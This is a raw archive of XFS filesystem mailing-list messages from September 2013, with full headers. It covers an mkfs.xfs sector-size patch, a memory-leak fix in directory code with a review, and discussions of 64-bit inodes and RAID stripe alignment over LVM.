X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/122.248.162.5] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/122.248.162.5] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/122.248.162.5] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/122.248.162.5] Received: from d28dlp03.in.ibm.com (9.184.220.128) by e28smtp05.in.ibm.com (192.168.1.135) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Fri, 27 Sep 2013 14:39:37 +0530 Received: from d28relay02.in.ibm.com (d28relay02.in.ibm.com [9.184.220.59]) by d28dlp03.in.ibm.com (Postfix) with ESMTP id 86EA21258055 for ; Fri, 27 Sep 2013 14:39:51 +0530 (IST) Received: from d28av03.in.ibm.com (d28av03.in.ibm.com [9.184.220.65]) by d28relay02.in.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id r8R9Bxwi40042674 for ; Fri, 27 Sep 2013 14:41:59 +0530 Received: from d28av03.in.ibm.com (localhost [127.0.0.1]) by d28av03.in.ibm.com (8.14.4/8.14.4/NCO v10.0 AVout) with ESMTP id r8R99aW8019380 for ; Fri, 27 Sep 2013 14:39:36 +0530 Received: from [9.123.210.162] (thinkpad-t5421.cn.ibm.com [9.123.210.162]) by d28av03.in.ibm.com (8.14.4/8.14.4/NCO v10.0 AVin) with ESMTP id r8R99Yid019288 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO) for ; Fri, 27 Sep 2013 14:39:35 +0530 Message-ID: <1380272973.2836.5.camel@ThinkPad-T5421> Subject: [PATCH] xfsprogs: make log/size consistent for mkfs's -s option From: Li Zhong X-ASG-Orig-Subj: [PATCH] xfsprogs: make log/size consistent for mkfs's -s option To: xfsprogs Date: Fri, 27 Sep 2013 17:09:33 +0800 Content-Type: text/plain; charset="UTF-8" X-Mailer: Evolution 3.2.3-0ubuntu6 Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-TM-AS-MML: No X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13092709-8256-0000-0000-000009676D85 X-Barracuda-Connect: e28smtp05.in.ibm.com[122.248.162.5] X-Barracuda-Start-Time: 1380272982 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 It seems using -s log is not able to set the sectsz correctly. Because slflag is set but ignored by later codes, so the advertised sector size of the device is used instead. $ mkfs.xfs -f -s size=4096 /dev/sdd meta-data=/dev/sdd isize=256 agcount=2, agsize=4096 blks = sectsz=4096 attr=2, projid32bit=1 ...... $ mkfs.xfs -f -s log=12 /dev/sdd meta-data=/dev/sdd isize=256 agcount=2, agsize=4096 blks = sectsz=2048 attr=2, projid32bit=1 ...... Signed-off-by: Li Zhong --- mkfs/xfs_mkfs.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/mkfs/xfs_mkfs.c b/mkfs/xfs_mkfs.c index eafbed3..9243044 100644 --- a/mkfs/xfs_mkfs.c +++ b/mkfs/xfs_mkfs.c @@ -1693,7 +1693,7 @@ main( * ft.sectoralign will never be set. */ sectorsize = blocksize; - } else if (!ssflag) { + } else if (!ssflag && !slflag) { /* * Unless specified manually on the command line use the * advertised sector size of the device. We use the physical @@ -1721,7 +1721,7 @@ _("switching to logical sector size %d\n"), } } - if (ft.sectoralign || !ssflag) { + if (ft.sectoralign || !ssflag || !slflag) { sectorlog = libxfs_highbit32(sectorsize); if (loginternal) { lsectorsize = sectorsize; @@ -1731,7 +1731,7 @@ _("switching to logical sector size %d\n"), if (sectorsize < XFS_MIN_SECTORSIZE || sectorsize > XFS_MAX_SECTORSIZE || sectorsize > blocksize) { - if (ssflag) + if (ssflag || slflag) fprintf(stderr, _("illegal sector size %d\n"), sectorsize); else fprintf(stderr, -- 1.8.1.4 From stefanrin@gmail.com Fri Sep 27 04:26:41 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8E2E07F51 for ; Fri, 27 Sep 2013 04:26:41 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 62E1E30405F for ; Fri, 27 Sep 2013 02:26:41 -0700 (PDT) X-ASG-Debug-ID: 1380273998-04bdf02f231508420001-w1Z2WR Received: from mail-we0-f178.google.com (mail-we0-f178.google.com [74.125.82.178]) by cuda.sgi.com with ESMTP id Vjoiew9LvG2EXT6U (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Fri, 27 Sep 2013 02:26:39 -0700 (PDT) X-Barracuda-Envelope-From: stefanrin@gmail.com X-Barracuda-Apparent-Source-IP: 74.125.82.178 Received: by mail-we0-f178.google.com with SMTP id u57so2323429wes.23 for ; Fri, 27 Sep 2013 02:26:38 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=2ezI/9+1GmhbE/yTxlGE7O07sDrE8JevWH4fNq0u3Ug=; b=yvbuXIBrAYpBdbDrTHEBNPVSdzD1O2cfHb4Ugz0u48DWcJX+mIubhZicq6iohtSPt0 +nWNuL8yscFHk5nUC9Vz7rM+iH+waxpW6LclkwD/cquh9k/l4lezHtqYe72HU2S6rBR9 nrDt8bouHdMd6jx/hLjMSjxF55kRJHp2eZEyr6bmvfUpbBeEcoBqpLQT/8kImYCfWl8F NdikWNiZarfoAm18UUauBVn7XNRYgwVYmAXOQ6IPTjmMH0uZb1xjI0k4dAkTO4h9pg9X 8Yr7iC0ZQYlSrDZBedGPrpLUDgZXTk0F4N9JHZ2W5F2yoMyMYKaTp+GDsojkynap8fVV NW0g== MIME-Version: 1.0 X-Received: by 10.194.201.225 with SMTP id kd1mr4768714wjc.35.1380273998163; Fri, 27 Sep 2013 02:26:38 -0700 (PDT) Received: by 10.194.94.104 with HTTP; Fri, 27 Sep 2013 02:26:38 -0700 (PDT) In-Reply-To: <20130927081844.GA14996@wombat.san-francisco.ca.us> References: <44qehaxod8.ln2@goaway.wombat.san-francisco.ca.us> <20130927010847.GW26872@dastard> <20130927081844.GA14996@wombat.san-francisco.ca.us> Date: Fri, 27 Sep 2013 11:26:38 +0200 Message-ID: Subject: Re: free inodes remaining in 1tb From: Stefan Ring X-ASG-Orig-Subj: Re: free inodes remaining in 1tb To: Keith Keller Cc: linux-xfs@oss.sgi.com Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-we0-f178.google.com[74.125.82.178] X-Barracuda-Start-Time: 1380273999 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140971 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature > I am currently using a stock CentOS kernel, 2.6.32-358.14.1.el6.x86_64. > I'd have to check the changelogs to see if that kernel has the patch > in question, which I will do tomorrow. The cited patch seems to have appeared in 2.6.32-220.el6. From stew@messeduphare.co.uk Fri Sep 27 07:24:04 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 135317F52 for ; Fri, 27 Sep 2013 07:24:04 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 62A39AC003 for ; Fri, 27 Sep 2013 05:24:00 -0700 (PDT) X-ASG-Debug-ID: 1380284637-04cb6c377765a7f0001-NocioJ Received: from mail-wi0-f181.google.com (mail-wi0-f181.google.com [209.85.212.181]) by cuda.sgi.com with ESMTP id 35PFTUMikLJaF27m (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Fri, 27 Sep 2013 05:23:58 -0700 (PDT) X-Barracuda-Envelope-From: stew@messeduphare.co.uk X-Barracuda-Apparent-Source-IP: 209.85.212.181 Received: by mail-wi0-f181.google.com with SMTP id ex4so733224wid.8 for ; Fri, 27 Sep 2013 05:23:57 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type; bh=bKs0W40mfvkCCZUDG+oQLJ1wyokhMBPjQ3hNdEXwLi8=; b=X4qDosSt3Lvv950bPc9Wk7CYehJD/VASTqmDqyTgBXW4ehBuLqScDGoKA8vs22b5ZD LZQL3jutdY0ptg8SHz62/RNDuuDz1F1a3ez1p2nsSr/36D+EcuvHv7UfCWXfDN5lFQT2 HyRsEG67cXWrOzp8dCUG78ENYjgKvnRJJIySXmOtBOm2k1PDydBbQDB49Q97r25jSE8z pvBnCf18JpO7Km+f1oSLMRanTIPZSHwO5HPCkRaVGDBbMRS33/koEw1XkNNnPzrZDCK7 Yr1uKMRNqSnKZ5ufSE28uxe9sj7z5gTzq/BGg3DhLgpNnlq4y8WUL0Bf93czECChBe16 IwtA== X-Gm-Message-State: ALoCoQkhPO0kVOKYovD7nS4toSVFAzQAg7bJ3dGIpiPFH1WjohI1ChfpkIKWYVGNtc19+7M1CGLZ MIME-Version: 1.0 X-Received: by 10.180.98.105 with SMTP id eh9mr2426909wib.56.1380284637038; Fri, 27 Sep 2013 05:23:57 -0700 (PDT) Received: by 10.194.136.75 with HTTP; Fri, 27 Sep 2013 05:23:56 -0700 (PDT) In-Reply-To: <5244DB1B.7000908@hardwarefreak.com> References: <52435327.9080607@hardwarefreak.com> <2F959FD9-EF28-4495-9D0B-59B93D89C820@colorremedies.com> <20130925215713.GH26872@dastard> <5243FCD6.4000701@hardwarefreak.com> <20130926215806.GQ26872@dastard> <5244DB1B.7000908@hardwarefreak.com> Date: Fri, 27 Sep 2013 13:23:56 +0100 Message-ID: Subject: Re: xfs hardware RAID alignment over linear lvm From: Stewart Webb X-ASG-Orig-Subj: Re: xfs hardware RAID alignment over linear lvm To: stan@hardwarefreak.com Cc: Dave Chinner , Chris Murphy , "xfs@oss.sgi.com" Content-Type: multipart/alternative; boundary=f46d04428cc47adf9f04e75c8f89 X-Barracuda-Connect: mail-wi0-f181.google.com[209.85.212.181] X-Barracuda-Start-Time: 1380284638 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140974 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.00 HTML_MESSAGE BODY: HTML included in message --f46d04428cc47adf9f04e75c8f89 Content-Type: text/plain; charset=ISO-8859-1 >Right, and it does so not only to improve write performance, but to >also maximise sequential read performance of the data that is >written, especially when multiple files are being read >simultaneously and IO latency is important to keep low (e.g. >realtime video ingest and playout). So does this mean that I should avoid having devices in RAID with a differing amount of spindles (or non-parity disks) If I would like to use Linear concatenation LVM? Or is there a best practice if this instance is not avoidable? Regards On 27 September 2013 02:10, Stan Hoeppner wrote: > On 9/26/2013 4:58 PM, Dave Chinner wrote: > > On Thu, Sep 26, 2013 at 04:22:30AM -0500, Stan Hoeppner wrote: > >> On 9/26/2013 3:55 AM, Stewart Webb wrote: > >>> Thanks for all this info Stan and Dave, > >>> > >>>> "Stripe size" is a synonym of XFS sw, which is su * #disks. This is > the > >>>> amount of data written across the full RAID stripe (excluding parity). > >>> > >>> The reason I stated Stripe size is because in this instance, I have > 3ware > >>> RAID controllers, which refer to > >>> this value as "Stripe" in their tw_cli software (god bless > manufacturers > >>> renaming everything) > >>> > >>> I do, however, have a follow-on question: > >>> On other systems, I have similar hardware: > >>> 3x Raid Controllers > >>> 1 of them has 10 disks as RAID 6 that I would like to add to a logical > >>> volume > >>> 2 of them have 12 disks as a RAID 6 that I would like to add to the > same > >>> logical volume > >>> > >>> All have the same "Stripe" or "Strip Size" of 512 KB > >>> > >>> So if I where going to make 3 seperate xfs volumes, I would do the > >>> following: > >>> mkfs.xfs -d su=512k sw=8 /dev/sda > >>> mkfs.xfs -d su=512k sw=10 /dev/sdb > >>> mkfs.xfs -d su=512k sw=10 /dev/sdc > >>> > >>> I assume, If I where going to bring them all into 1 logical volume, it > >>> would be best placed to have the sw value set > >>> to a value that is divisible by both 8 and 10 - in this case 2? > >> > >> No. In this case you do NOT stripe align XFS to the storage, because > >> it's impossible--the RAID stripes are dissimilar. In this case you use > >> the default 4KB write out, as if this is a single disk drive. > >> > >> As Dave stated, if you format a concatenated device with XFS and you > >> desire to align XFS, then all constituent arrays must have the same > >> geometry. > >> > >> Two things to be aware of here: > >> > >> 1. With a decent hardware write caching RAID controller, having XFS > >> alined to the RAID geometry is a small optimization WRT overall write > >> performance, because the controller is going to be doing the optimizing > >> of final writeback to the drives. > >> > >> 2. Alignment does not affect read performance. > > > > Ah, but it does... > > > >> 3. XFS only performs aligned writes during allocation. > > > > Right, and it does so not only to improve write performance, but to > > also maximise sequential read performance of the data that is > > written, especially when multiple files are being read > > simultaneously and IO latency is important to keep low (e.g. > > realtime video ingest and playout). > > Absolutely correct, as Dave always is. As my workloads are mostly > random, as are those of others I consult in other fora, I sometimes > forget the [multi]streaming case. Which is not good, as many folks > choose XFS specifically for [multi]streaming workloads. My remarks to > this audience should always reflect that. Apologies for my oversight on > this occasion. > > >> What really makes a difference as to whether alignment will be of > >> benefit to you, and how often, is your workload. So at this point, you > >> need to describe the primary workload(s) of your systems we're > discussing. > > > > Yup, my thoughts exactly... > > > > Cheers, > > > > Dave. > > > > -- > Stan > > -- Stewart Webb --f46d04428cc47adf9f04e75c8f89 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable
    >Right, and it does so not only to improve write performance, but to
    >also maximise sequenti= al read performance of the data that is
    >written, es= pecially when multiple files are being read
    >simultaneously and IO latency is important to keep lo= w (e.g.
    >realtime vi= deo ingest and playout).

    So does this mean that I should avoid having de= vices in RAID with a differing amount of spindles (or non-parity disks)
    If I would= like to use=A0Linear=A0concatenation=A0LVM? Or is = there a best practice if this instance is not
    avoidable?=

    Regards


    On 27 S= eptember 2013 02:10, Stan Hoeppner <stan@hardwarefreak.com> wrote:
    On 9= /26/2013 4:58 PM, Dave Chinner wrote:
    > On Thu, Sep 26, 2013 at 04:22:30AM -0500, Stan Hoeppner wrote:
    >> On 9/26/2013 3:55 AM, Stewart Webb wrote:
    >>> Thanks for all this info Stan and Dave,
    >>>
    >>>> "Stripe size" is a synonym of XFS sw, which is s= u * #disks. =A0This is the
    >>>> amount of data written across the full RAID stripe (exclud= ing parity).
    >>>
    >>> The reason I stated Stripe size is because in this instance, I= have 3ware
    >>> RAID controllers, which refer to
    >>> this value as "Stripe" in their tw_cli software (god= bless manufacturers
    >>> renaming everything)
    >>>
    >>> I do, however, have a follow-on question:
    >>> On other systems, I have similar hardware:
    >>> 3x Raid Controllers
    >>> 1 of them has 10 disks as RAID 6 that I would like to add to a= logical
    >>> volume
    >>> 2 of them have 12 disks as a RAID 6 that I would like to add t= o the same
    >>> logical volume
    >>>
    >>> All have the same "Stripe" or "Strip Size"= of 512 KB
    >>>
    >>> So if I where going to make 3 seperate xfs volumes, I would do= the
    >>> following:
    >>> mkfs.xfs -d su=3D512k sw=3D8 /dev/sda
    >>> mkfs.xfs -d su=3D512k sw=3D10 /dev/sdb
    >>> mkfs.xfs -d su=3D512k sw=3D10 /dev/sdc
    >>>
    >>> I assume, If I where going to bring them all into 1 logical vo= lume, it
    >>> would be best placed to have the sw value set
    >>> to a value that is divisible by both 8 and 10 - in this case 2= ?
    >>
    >> No. =A0In this case you do NOT stripe align XFS to the storage, be= cause
    >> it's impossible--the RAID stripes are dissimilar. =A0In this c= ase you use
    >> the default 4KB write out, as if this is a single disk drive.
    >>
    >> As Dave stated, if you format a concatenated device with XFS and y= ou
    >> desire to align XFS, then all constituent arrays must have the sam= e
    >> geometry.
    >>
    >> Two things to be aware of here:
    >>
    >> 1. =A0With a decent hardware write caching RAID controller, having= XFS
    >> alined to the RAID geometry is a small optimization WRT overall wr= ite
    >> performance, because the controller is going to be doing the optim= izing
    >> of final writeback to the drives.
    >>
    >> 2. Alignment does not affect read performance.
    >
    > Ah, but it does...
    >
    >> 3. =A0XFS only performs aligned writes during allocation.
    >
    > Right, and it does so not only to improve write performance, but to > also maximise sequential read performance of the data that is
    > written, especially when multiple files are being read
    > simultaneously and IO latency is important to keep low (e.g.
    > realtime video ingest and playout).

    Absolutely correct, as Dave always is. =A0As my workloads are m= ostly
    random, as are those of others I consult in other fora, I sometimes
    forget the [multi]streaming case. =A0Which is not good, as many folks
    choose XFS specifically for [multi]streaming workloads. =A0My remarks to this audience should always reflect that. =A0Apologies for my oversight on<= br> this occasion.

    >> What really makes a difference as to whether alignment will be of<= br> >> benefit to you, and how often, is your workload. =A0So at this poi= nt, you
    >> need to describe the primary workload(s) of your systems we're= discussing.
    >
    > Yup, my thoughts exactly...
    >
    > Cheers,
    >
    > Dave.
    >

    --
    Stan




    --
    Stewart Webb
    --f46d04428cc47adf9f04e75c8f89-- From cmaiolino@redhat.com Fri Sep 27 07:47:25 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A874E7F52 for ; Fri, 27 Sep 2013 07:47:25 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 7D104304066 for ; Fri, 27 Sep 2013 05:47:25 -0700 (PDT) X-ASG-Debug-ID: 1380286037-04cb6c350113fcb0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id LvPxeP9IznZlqNOj for ; Fri, 27 Sep 2013 05:47:17 -0700 (PDT) X-Barracuda-Envelope-From: cmaiolino@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r8RClGVB009959 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 27 Sep 2013 08:47:17 -0400 Received: from orion.maiolino.org (ovpn-113-161.phx2.redhat.com [10.3.113.161]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r8RClDih017838 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO) for ; Fri, 27 Sep 2013 08:47:16 -0400 Date: Fri, 27 Sep 2013 09:47:13 -0300 From: Carlos Maiolino To: xfs@oss.sgi.com Subject: Re: free inodes remaining in 1tb Message-ID: <20130927124712.GB22320@orion.maiolino.org> X-ASG-Orig-Subj: Re: free inodes remaining in 1tb Mail-Followup-To: xfs@oss.sgi.com References: <44qehaxod8.ln2@goaway.wombat.san-francisco.ca.us> <20130927010847.GW26872@dastard> <20130927081844.GA14996@wombat.san-francisco.ca.us> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130927081844.GA14996@wombat.san-francisco.ca.us> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1380286037 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Hi, > On 2013-09-26, Carlos Maiolino wrote: > > bear in mind though that are some applications that can't read 64bit > > inodes. > > I know that NFS has some issues (documented in the XFS FAQ). Do you > know offhand of any other examples? > My apologies, I'm not a heavy user of applications that handle file's inodes. What I can tell you is that any application that might need to handle file's inodes would be worth to check if they can handle 64bit inodes, for example, some backup applications use to handle inodes for some reason (read it as 'I have no idea how these backup apps works' :), and I've seen some reports about problems with backup applications for this reason some time ago, but can't really point you out anything specific. -- Carlos From tinguely@eagdhcp-232-140.americas.sgi.com Fri Sep 27 08:04:05 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B3FD47F53 for ; Fri, 27 Sep 2013 08:04:05 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 921F58F8040 for ; Fri, 27 Sep 2013 06:04:02 -0700 (PDT) Received: from eagdhcp-232-140.americas.sgi.com (localhost [127.0.0.1]) by eagdhcp-232-140.americas.sgi.com (8.14.5/8.14.5) with ESMTP id r8RD42Xs002726 for ; Fri, 27 Sep 2013 08:04:02 -0500 (CDT) (envelope-from tinguely@eagdhcp-232-140.americas.sgi.com) Received: (from tinguely@localhost) by eagdhcp-232-140.americas.sgi.com (8.14.5/8.14.5/Submit) id r8RD42Au002725; Fri, 27 Sep 2013 08:04:02 -0500 (CDT) (envelope-from tinguely) Message-Id: <20130927130140.640252809@sgi.com> User-Agent: quilt/0.51-1 Date: Fri, 27 Sep 2013 08:01:31 -0500 From: Mark Tinguely To: xfs@oss.sgi.com Subject: [PATCH] xfs: fix memory leak in xfs_dir2_node_removename Content-Disposition: inline; filename=xfs-fix-leak-in-xfs_dir2_node_removename.patch Free the memory pointed to by state before returning on error from xfs_dir2_node_removename.c Signed-off-by: Mark Tinguely --- Found by Coverity (134681) in userspace, same patch applies there also. fs/xfs/xfs_dir2_node.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) Index: b/fs/xfs/xfs_dir2_node.c =================================================================== --- a/fs/xfs/xfs_dir2_node.c +++ b/fs/xfs/xfs_dir2_node.c @@ -2131,10 +2131,9 @@ xfs_dir2_node_removename( /* * Didn't find it, upper layer screwed up. */ - if (rval != EEXIST) { - xfs_da_state_free(state); - return rval; - } + if (rval != EEXIST) + goto done; + blk = &state->path.blk[state->path.active - 1]; ASSERT(blk->magic == XFS_DIR2_LEAFN_MAGIC); ASSERT(state->extravalid); @@ -2145,7 +2144,7 @@ xfs_dir2_node_removename( error = xfs_dir2_leafn_remove(args, blk->bp, blk->index, &state->extrablk, &rval); if (error) - return error; + goto done; /* * Fix the hash values up the btree. */ @@ -2160,6 +2159,7 @@ xfs_dir2_node_removename( */ if (!error) error = xfs_dir2_node_to_leaf(state); +done: xfs_da_state_free(state); return error; } From cmaiolino@redhat.com Fri Sep 27 08:08:32 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 489727F53 for ; Fri, 27 Sep 2013 08:08:32 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 213AC8F8064 for ; Fri, 27 Sep 2013 06:08:31 -0700 (PDT) X-ASG-Debug-ID: 1380287310-04bdf02f211518da0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id Bmpic1waPCjbRb9E for ; Fri, 27 Sep 2013 06:08:31 -0700 (PDT) X-Barracuda-Envelope-From: cmaiolino@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r8RD8U6Z021757 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 27 Sep 2013 09:08:30 -0400 Received: from orion.maiolino.org (ovpn-113-161.phx2.redhat.com [10.3.113.161]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id r8RD8RkN006935 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO) for ; Fri, 27 Sep 2013 09:08:30 -0400 Date: Fri, 27 Sep 2013 10:08:26 -0300 From: Carlos Maiolino To: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: fix memory leak in xfs_dir2_node_removename Message-ID: <20130927130826.GA10694@orion.maiolino.org> X-ASG-Orig-Subj: Re: [PATCH] xfs: fix memory leak in xfs_dir2_node_removename Mail-Followup-To: xfs@oss.sgi.com References: <20130927130140.640252809@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130927130140.640252809@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1380287311 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Looks good, Reviewed-by: Carlos Maiolino On Fri, Sep 27, 2013 at 08:01:31AM -0500, Mark Tinguely wrote: > Free the memory pointed to by state before returning on error from > xfs_dir2_node_removename.c > > Signed-off-by: Mark Tinguely > --- > Found by Coverity (134681) in userspace, same patch applies there > also. > > fs/xfs/xfs_dir2_node.c | 10 +++++----- > 1 file changed, 5 insertions(+), 5 deletions(-) > > Index: b/fs/xfs/xfs_dir2_node.c > =================================================================== > --- a/fs/xfs/xfs_dir2_node.c > +++ b/fs/xfs/xfs_dir2_node.c > @@ -2131,10 +2131,9 @@ xfs_dir2_node_removename( > /* > * Didn't find it, upper layer screwed up. > */ > - if (rval != EEXIST) { > - xfs_da_state_free(state); > - return rval; > - } > + if (rval != EEXIST) > + goto done; > + > blk = &state->path.blk[state->path.active - 1]; > ASSERT(blk->magic == XFS_DIR2_LEAFN_MAGIC); > ASSERT(state->extravalid); > @@ -2145,7 +2144,7 @@ xfs_dir2_node_removename( > error = xfs_dir2_leafn_remove(args, blk->bp, blk->index, > &state->extrablk, &rval); > if (error) > - return error; > + goto done; > /* > * Fix the hash values up the btree. > */ > @@ -2160,6 +2159,7 @@ xfs_dir2_node_removename( > */ > if (!error) > error = xfs_dir2_node_to_leaf(state); > +done: > xfs_da_state_free(state); > return error; > } > > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs -- Carlos From stan@hardwarefreak.com Fri Sep 27 08:10:02 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B2A497F53 for ; Fri, 27 Sep 2013 08:10:02 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 492FAAC003 for ; Fri, 27 Sep 2013 06:09:59 -0700 (PDT) X-ASG-Debug-ID: 1380287397-04bdf02f221518f70001-NocioJ Received: from 